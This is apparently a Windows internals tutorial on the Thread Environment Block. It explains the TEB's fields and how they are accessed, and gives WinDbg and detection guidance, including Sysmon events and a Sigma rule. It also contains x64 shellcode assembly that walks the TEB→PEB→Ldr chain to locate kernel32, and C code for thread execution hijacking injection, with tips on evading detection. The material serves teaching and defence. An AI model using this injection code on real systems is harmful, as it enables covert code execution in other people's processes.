Threads and the TEB (Thread Environment Block)
Every call to GetLastError(), GetCurrentThreadId(), or TlsGetValue() reads from the same place: a per-thread structure the kernel mapped into your address space before your entry point ever fired. That structure is the Thread Environment Block. It is also the first thing shellcode touches when it needs to find kernel32.dll without a single import table entry.
This tutorial tears the TEB apart field by field – from the stable NT_TIB core through the segment-register path the CPU uses to find it, then into the offensive primitives it enables: the PEB module walk and thread execution hijacking. If you’ve only ever seen the TEB through !teb in WinDbg, this will fill the gaps that command hides behind hex.
Contents
- 1 1. Kernel Thread Anatomy: ETHREAD, KTHREAD, and the TEB
- 2 2. The NT_TIB: Stable Inner Structure
- 3 3. The Full _TEB: Key Fields
- 4 4. Segment Registers and Programmatic TEB Access
- 5 5. WinDbg Lab: Live TEB Inspection
- 6 6. Thread Local Storage Internals
- 7 7. The TEB→PEB Walk: Shellcode’s Favorite Primitive
- 8 8. Thread Execution Hijacking (T1055.003)
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies & Detection
- 11 11. Tools for Thread & TEB Analysis
- 12 12. Summary
- 13 Related Tutorials
- 14 References
1. Kernel Thread Anatomy: ETHREAD, KTHREAD, and the TEB
Windows represents a thread across three nested structures. Get the layering straight and everything downstream clicks.
ETHREAD is the executive-layer kernel object. It owns the thread’s security context, IRP list, and impersonation state. Its first embedded member is KTHREAD – the scheduler-facing struct that holds the kernel stack pointer, priority, quantum, wait state, and thread affinity. Inside KTHREAD sits a pointer to the thread’s TEB – the user-mode representation that lives in the process’s virtual address space, readable and writable from ring 3.
Creation flows downward. A call to CreateThread() enters kernelbase.dll, which calls NtCreateThreadEx() in ntdll.dll, which issues the syscall. The kernel allocates an ETHREAD, initializes the KTHREAD scheduler fields, carves out a user-mode stack, maps a fresh TEB page, and sets the appropriate segment-register base so the new thread can find its TEB the instant it begins executing.
Thread Lifecycle
| Stage | Mechanism |
|---|---|
| Creation | CreateThread → NtCreateThreadEx → kernel allocates ETHREAD/KTHREAD, maps TEB |
| Ready | Thread enters the ready queue; priority level (0-31) determines position |
| Running | Dispatcher selects thread; quantum (time-slice) begins counting down |
| Waiting | WaitForSingleObject, Sleep, I/O completion – thread yields the processor |
| Terminated | Return from start routine, ExitThread, or (dangerous) TerminateThread |
Threads that call TerminateThread() on themselves or others skip DLL detach notifications and can leave critical sections permanently locked. In practice, you will see this in malware that cleans up injected threads before detection – and in buggy commercial software.

2. The NT_TIB: Stable Inner Structure
The very first member of every TEB is NT_TIB, defined in winnt.h and ntddk.h. A comment in the DDK notes it “appears as the first part of the TEB for all threads which have a user mode component.” Its layout has been stable for decades, which is why shellcode authors trust it.
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // SEH chain head (x86)
PVOID StackBase; // top of committed stack
PVOID StackLimit; // current guard page
PVOID SubSystemTib;
union {
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; // linear address of this TIB (== TEB base)
} NT_TIB, *PNT_TIB;
The Self pointer is the linchpin. Code executing with a segment-register override reads this single field to obtain a flat pointer, then accesses the rest of the TEB without further overrides. ExceptionList roots the x86 SEH chain – on x64 SEH is table-based, so this field is typically NULL. StackBase and StackLimit define the committed range; the kernel adjusts StackLimit as the guard page is hit and the stack grows.
3. The Full _TEB: Key Fields
Microsoft’s public winternl.h header is famously unhelpful – twelve members named Reserved1 through Reserved6. The real field names come from debug symbols, Geoff Chappell’s documentation, and the phnt headers (System Informer project). Here are the security-relevant ones an analyst actually cares about:
| Field | Offset (x64) | Type | Purpose |
|---|---|---|---|
NtTib | +0x000 | NT_TIB | SEH chain, stack bounds, self-pointer |
ClientId | +0x040 | CLIENT_ID | .UniqueProcess (PID) and .UniqueThread (TID) |
ThreadLocalStoragePointer | +0x058 | PVOID | Per-thread TLS data vector |
ProcessEnvironmentBlock | +0x060 | PPEB | Pointer to the process-wide PEB |
LastErrorValue | +0x068 | ULONG | What GetLastError() actually reads |
CountOfOwnedCriticalSections | +0x06C | ULONG | Number of critical sections this thread holds |
WOW32Reserved | +0x100 | PVOID | WoW64 fast-syscall pointer |
CurrentLocale | +0x108 | LCID | GetThreadLocale() value |
TlsSlots[64] | +0xE10* | PVOID[64] | First 64 TLS slots (in-TEB) |
TlsExpansionSlots | varies | PVOID | Heap-allocated block for slots 64-1088 |
SameTebFlags | varies | USHORT | Bitfield: InitialThread, LoadOwner, LoaderWorker |
*x86 offsets differ – TlsSlots starts at +0xE10 on x86 as well, but earlier field offsets are halved because pointers are 4 bytes.
Microsoft states that the TEB layout may change between Windows versions. Application code should use documented APIs (GetLastError, GetCurrentThreadId, TlsGetValue). For reverse engineering and analysis, however, you read the struct directly – just confirm offsets against the target build with dt ntdll!_TEB in WinDbg.
4. Segment Registers and Programmatic TEB Access
The CPU reaches the TEB through a segment-register base that the kernel sets per-thread during context switches.
| Architecture | Register | TEB Self-Pointer | PEB Pointer | Underlying mechanism |
|---|---|---|---|---|
| x86 | FS | FS:[0x18] | FS:[0x30] | GDT entry updated on context switch |
| x64 | GS | GS:[0x30] | GS:[0x60] | IA32_GS_BASE MSR (written via swapgs) |
On x64 the kernel writes the TEB’s linear address into the IA32_GS_BASE MSR during every thread switch. User-mode code never needs to touch the MSR – it just reads through the GS override.
Intrinsics and NtCurrentTeb()
MSVC provides compiler intrinsics that avoid inline assembly entirely:
#include <windows.h>
#include <winternl.h>
void DumpTebBasics() {
// x64 intrinsic — reads GS:[0x30] (NtTib.Self)
PTEB pTeb = (PTEB)__readgsqword(0x30);
// ClientId lives right after EnvironmentPointer
DWORD tid = (DWORD)(ULONG_PTR)pTeb->ClientId.UniqueThread;
DWORD pid = (DWORD)(ULONG_PTR)pTeb->ClientId.UniqueProcess;
printf("TEB @ %p | PID %lu | TID %lu\n", pTeb, pid, tid);
printf("PEB @ %p\n", pTeb->ProcessEnvironmentBlock);
printf("LastError: %lu\n", pTeb->LastErrorValue);
}
NtCurrentTeb() is a macro on x64 that expands to the same __readgsqword(0x30) intrinsic. On x86 it is an exported function in ntdll.dll. Either way, the result is a flat TEB*. The Win32 wrappers GetCurrentThreadId() and GetLastError() are thin shims that read ClientId.UniqueThread and LastErrorValue from this pointer – there is no syscall involved.

5. WinDbg Lab: Live TEB Inspection
Attach WinDbg to any user-mode process and try the following. The $teb pseudo-register points to the current thread’s TEB automatically.
!teb ; formatted dump — shows StackBase, StackLimit, PEB, TLS
dt ntdll!_TEB @$teb ; raw struct with offsets
dt ntdll!_NT_TIB @$teb ; just the inner TIB
dt ntdll!_PEB @$peb ; follow the PEB pointer
dt ntdll!_PEB_LDR_DATA poi(@$peb+0x18) ; Ldr from PEB
~ ; list all threads
~1s ; switch to thread 1
!teb ; now shows thread 1's TEB
The first time I traced this chain manually, the jump from PEB_LDR_DATA to the module list felt like a leap of faith until I realized the LIST_ENTRY Flink values are pointers into LDR_DATA_TABLE_ENTRY, not to its base – off-by-one-struct-member errors will burn you if you compute DllBase from the wrong anchor. We’ll walk this explicitly in section 7.
6. Thread Local Storage Internals
TLS lets each thread maintain private copies of a variable. The mechanism maps directly into TEB fields.
TlsAlloc() grabs the next free bit from the PEB’s TlsBitmap (first 64 bits) or TlsExpansionBitmap (bits 64-1088) and returns a slot index. TlsSetValue(index, value) writes into TEB.TlsSlots[index] for indices 0-63, or into the heap block pointed to by TEB.TlsExpansionSlots for higher indices. TlsGetValue reads from the same location. No lock is needed because each thread writes to its own TEB.
The C/C++ __declspec(thread) storage class uses implicit TLS – the linker builds a .tls section, and the loader copies template data into each thread’s TLS array at creation time. Malware occasionally abuses TLS callbacks (IMAGE_TLS_DIRECTORY) for anti-debug or early initialization code that runs before the entry point.
7. The TEB→PEB Walk: Shellcode’s Favorite Primitive
Shellcode that needs to call Windows APIs – LoadLibraryA, VirtualAlloc, anything – must first find kernel32.dll‘s base address. Importing the function statically would defeat the purpose of position-independent code, so shellcode walks the TEB→PEB→Ldr chain instead:
; x64 — resolve kernel32.dll base via TEB -> PEB -> Ldr
; NASM syntax, Intel format
mov rax, [gs:0x60] ; TEB+0x60 = ProcessEnvironmentBlock (PEB*)
mov rax, [rax + 0x18] ; PEB+0x18 = Ldr (PEB_LDR_DATA*)
mov rsi, [rax + 0x10] ; Ldr+0x10 = InLoadOrderModuleList.Flink
; rsi -> first LDR_DATA_TABLE_ENTRY (the exe itself)
mov rsi, [rsi] ; -> second entry (ntdll.dll)
mov rsi, [rsi] ; -> third entry (kernel32.dll)
mov rdi, [rsi + 0x30] ; LDR_DATA_TABLE_ENTRY+0x30 = DllBase
; rdi now holds kernel32.dll's base address
From here the shellcode parses the PE export directory at DllBase to find GetProcAddress by hash, then resolves everything else. The entire sequence touches no import table and no Win32 API, which is why static analysis tools that only inspect the IAT will miss it entirely.
Why defenders care: any thread whose initial instruction pointer lands inside a PAGE_EXECUTE_READWRITE allocation and whose first memory reads target GS:[0x60] → PEB → Ldr is almost certainly running injected shellcode. Sysmon’s StartModule field being empty (no backing image) is the detection signal for this pattern.
8. Thread Execution Hijacking (T1055.003)
Thread execution hijacking avoids CreateRemoteThread entirely – no new thread is created, so Event ID 8 never fires. Instead, an attacker suspends an existing thread, redirects its instruction pointer into injected code, and resumes it.
The Primitive Step by Step
// 1. Open target thread — requires THREAD_SUSPEND_RESUME |
// THREAD_GET_CONTEXT | THREAD_SET_CONTEXT
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, targetTid);
// 2. Suspend it
SuspendThread(hThread);
// 3. Capture register state
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
DWORD64 origRip = ctx.Rip; // save for optional restoration
// 4. Allocate + write shellcode in the target process
// (hProc obtained via OpenProcess with PROCESS_VM_OPERATION | PROCESS_VM_WRITE)
LPVOID remoteAddr = VirtualAllocEx(hProc, NULL, scSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, remoteAddr, shellcode, scSize, NULL);
// 5. Redirect execution
ctx.Rip = (DWORD64)remoteAddr;
SetThreadContext(hThread, &ctx);
// 6. Resume — shellcode runs in the context of the hijacked thread
ResumeThread(hThread);
Notice that step 4 uses PAGE_EXECUTE_READ, not PAGE_EXECUTE_READWRITE. RWX allocations are a well-known detection signal; writing first with PAGE_READWRITE and then flipping to PAGE_EXECUTE_READ via VirtualProtectEx is the cleaner tradecraft – and the harder telemetry to catch.
The detection challenge is real: no new thread handle appears, no remote-thread callback fires, and the hijacked thread’s stack looks normal to a casual observer. The tell is the OpenThread call requesting THREAD_SET_CONTEXT across a process boundary – Sysmon Event ID 10 can surface this if the access mask is logged.

9. Common Attacker Techniques
| Technique | Description |
|---|---|
| TEB→PEB module walk | Resolve API addresses without imports; foundation of all position-independent shellcode |
CreateRemoteThread injection | Allocate + write + spawn a new thread in a remote process – the “classic” injection |
NtCreateThreadEx injection | Native-API variant; bypasses some user-mode hooks on CreateRemoteThread |
| Thread execution hijacking | Suspend → redirect RIP → resume; avoids new-thread creation entirely |
QueueUserAPC injection | Queue an APC to a thread in an alertable wait; runs payload on next alert |
| TLS callback abuse | Register a callback in IMAGE_TLS_DIRECTORY; code runs before main/entry point |
PEB.BeingDebugged check | Read TEB→PEB→BeingDebugged (offset +0x02 in PEB) for anti-debug evasion |
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection Anchor |
|---|---|---|
| Process Injection (parent) | T1055 | Sysmon EID 8, EID 10 |
| Thread Execution Hijacking | T1055.003 | EID 10 – THREAD_SET_CONTEXT cross-process |
| Debugger Evasion | T1622 | PEB.BeingDebugged read via TEB walk |
| Native API | T1106 | NtCreateThreadEx / NtOpenThread direct syscalls |
| Process Discovery | T1057 | PEB Ldr module list enumeration |
10. Defensive Strategies & Detection
Sysmon Events
| Event ID | Name | What It Catches |
|---|---|---|
| 8 | CreateRemoteThread | New threads spawned cross-process. Key fields: SourceImage, TargetImage, StartAddress, StartModule, StartFunction. An empty StartModule means the start address is outside any loaded image – shellcode. |
| 10 | ProcessAccess | OpenProcess / OpenThread with suspicious GrantedAccess. Watch for 0x0010 (THREAD_SET_CONTEXT) targeting threads in lsass.exe, svchost.exe, etc. |
| 1 | ProcessCreate | Baseline parent-child relationships; flag unexpected parents launching injection tooling. |
Limitation: Sysmon’s Event ID 8 hooks PsSetCreateThreadNotifyRoutine – it only fires when a new thread is created remotely. Thread execution hijacking (T1055.003) creates no new thread, so EID 8 alone will not catch it. You need EID 10 for the handle-access telemetry.
Sigma Rule – Thread Hijacking Detection
title: Cross-Process Thread Context Manipulation
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
GrantedAccess|contains:
- '0x0010' # THREAD_SET_CONTEXT
- '0x001FFFFF' # THREAD_ALL_ACCESS
TargetImage|endswith:
- '\lsass.exe'
- '\svchost.exe'
- '\csrss.exe'
filter:
SourceImage|endswith:
- '\MsMpEng.exe'
- '\csrss.exe'
condition: selection and not filter
level: high
ETW Providers
| Provider | Use |
|---|---|
Microsoft-Windows-Kernel-Process | Thread create/terminate events; exposes TID, StartAddr |
Microsoft-Windows-Threat-Intelligence (PPL-protected) | High-fidelity injection telemetry consumed by EDRs via ELAM drivers |
Windows Security Audit
- Event 4656 (Handle Requested): With object-access SACLs on sensitive processes, logs every
NtOpenThreadrequestingTHREAD_SET_CONTEXT. - Event 4688 (Process Creation): Full command-line logging to correlate injection chains.
Hardening
- Deploy Sysmon with a tuned config – capture all EID 8 and EID 10 events; filter on empty
StartModule(shellcode indicator). - Enable
AuditObjectAccessSACLs onlsass.exeand other critical processes to generate Event 4656 on suspicious handle requests. - Protected Process Light (PPL) – PPL-protected processes deny
OpenThreadwithTHREAD_SET_CONTEXTfrom unprotected callers. - Windows Defender Credential Guard – isolates LSASS secrets so thread-context manipulation cannot dump credentials.
- HVCI (Memory Integrity) – prevents unsigned kernel code from unhooking
PsSetCreateThreadNotifyRoutinecallbacks.
11. Tools for Thread & TEB Analysis
| Tool | Purpose | Link |
|---|---|---|
| WinDbg | !teb, dt ntdll!_TEB, register inspection, kernel-mode !thread | learn.microsoft.com |
| Process Hacker / System Informer | Per-thread TEB address, stack, start address, token | systeminformer.com |
| Process Monitor | Real-time thread create/terminate events with stacks | learn.microsoft.com/sysinternals |
| x64dbg | User-mode debugger; TEB visible in SEH/Memory tab | x64dbg.com |
| Volatility 3 | windows.threads / windows.handles plugins for memory forensics | volatilityfoundation.org |
| Ghidra | Static analysis of TEB-walking shellcode and TLS callbacks | ghidra-sre.org |
| phnt headers | Full _TEB definition with named fields (System Informer project) | github.com/winsiderss/phnt |
12. Summary
- The TEB is a per-thread, user-mode structure the kernel maps before a thread’s first instruction executes. It backs every
GetLastError,GetCurrentThreadId, and TLS access – no syscall required. NT_TIBis its stable core – SEH chain root, stack bounds, and the self-pointer that converts a segment-register read into a flat address.- Segment registers (
FSon x86,GSon x64) point to the TEB; the kernel updatesIA32_GS_BASEon every context switch. - The TEB→PEB→Ldr walk is the foundation of shellcode API resolution – defenders should flag execution from non-module memory that reads
GS:[0x60]. - Thread execution hijacking (
T1055.003) bypassesCreateRemoteThreaddetection entirely; Sysmon Event ID 10 withTHREAD_SET_CONTEXTaccess-mask filtering is the primary catch.
Related Tutorials
- Fibers: User-Mode Cooperative Threads
- Windows Scheduler Internals: Priority Levels, Quantum, and Thread Selection
- APCs: Asynchronous Procedure Calls and Thread Hijacking Surface
- Access Tokens and Privileges: The Kernel’s Security Context
- SIDs and Security Descriptors: Identity in Windows Security
References
- learn.microsoft.com
- www.geoffchappell.com
- en.wikipedia.org
- ntdoc.m417z.com
- learn.microsoft.com
- learn.microsoft.com
- renenyffenegger.ch
- malwaretech.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.